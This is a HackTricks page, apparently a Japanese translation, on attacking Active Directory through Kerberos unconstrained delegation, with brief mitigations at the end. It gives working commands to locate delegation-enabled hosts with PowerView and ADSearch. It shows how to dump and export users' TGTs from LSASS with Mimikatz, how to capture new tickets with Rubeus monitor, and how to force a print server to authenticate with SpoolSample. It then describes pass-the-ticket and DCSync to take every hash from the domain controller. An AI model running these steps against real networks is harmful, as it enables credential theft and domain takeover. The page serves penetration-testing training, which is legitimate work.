4.1 KiB
Unconstrained Delegation
{{#include ../../banners/hacktricks-training.md}}
Unconstrained delegation
これは、ドメイン管理者がドメイン内の任意のコンピュータに設定できる機能です。次に、ユーザーがコンピュータにログインすると、そのユーザーのTGTのコピーがDCによって提供されるTGS内に送信され、LSASSのメモリに保存されます。したがって、マシン上で管理者権限を持っている場合、チケットをダンプしてユーザーを偽装することができます。
したがって、ドメイン管理者が「Unconstrained Delegation」機能が有効なコンピュータにログインし、あなたがそのマシン内でローカル管理者権限を持っている場合、チケットをダンプしてドメイン管理者をどこでも偽装することができます(ドメイン特権昇格)。
この属性を持つコンピュータオブジェクトを見つけるには、userAccountControl属性がADS_UF_TRUSTED_FOR_DELEGATIONを含んでいるかどうかを確認します。これは、‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’というLDAPフィルターを使用して行うことができ、これがpowerviewが行うことです:
# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser: /interval:10 #Check every 10s for new TGTs
MimikatzまたはRubeusを使用して、管理者(または被害者ユーザー)のチケットをメモリにロードします。Pass the Ticket。
詳細情報:https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Unconstrained delegationに関する詳細情報はired.teamをご覧ください。
Force Authentication
攻撃者が「Unconstrained Delegation」を許可されたコンピュータを侵害することができれば、プリントサーバーを自動的にログインさせてTGTをメモリに保存させることができます。
その後、攻撃者はチケットをパスしてプリントサーバーのユーザーコンピュータアカウントを偽装することができます。
プリントサーバーを任意のマシンにログインさせるには、SpoolSampleを使用できます:
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
TGTがドメインコントローラーからのものであれば、 DCSync attackを実行して、DCからすべてのハッシュを取得することができます。
この攻撃に関する詳細はired.teamで。
認証を強制するための他の方法は次のとおりです:
{{#ref}} printers-spooler-service-abuse.md {{#endref}}
Mitigation
- DA/Adminのログインを特定のサービスに制限する
- 特権アカウントに対して「アカウントは機密であり、委任できません」を設定する。
{{#include ../../banners/hacktricks-training.md}}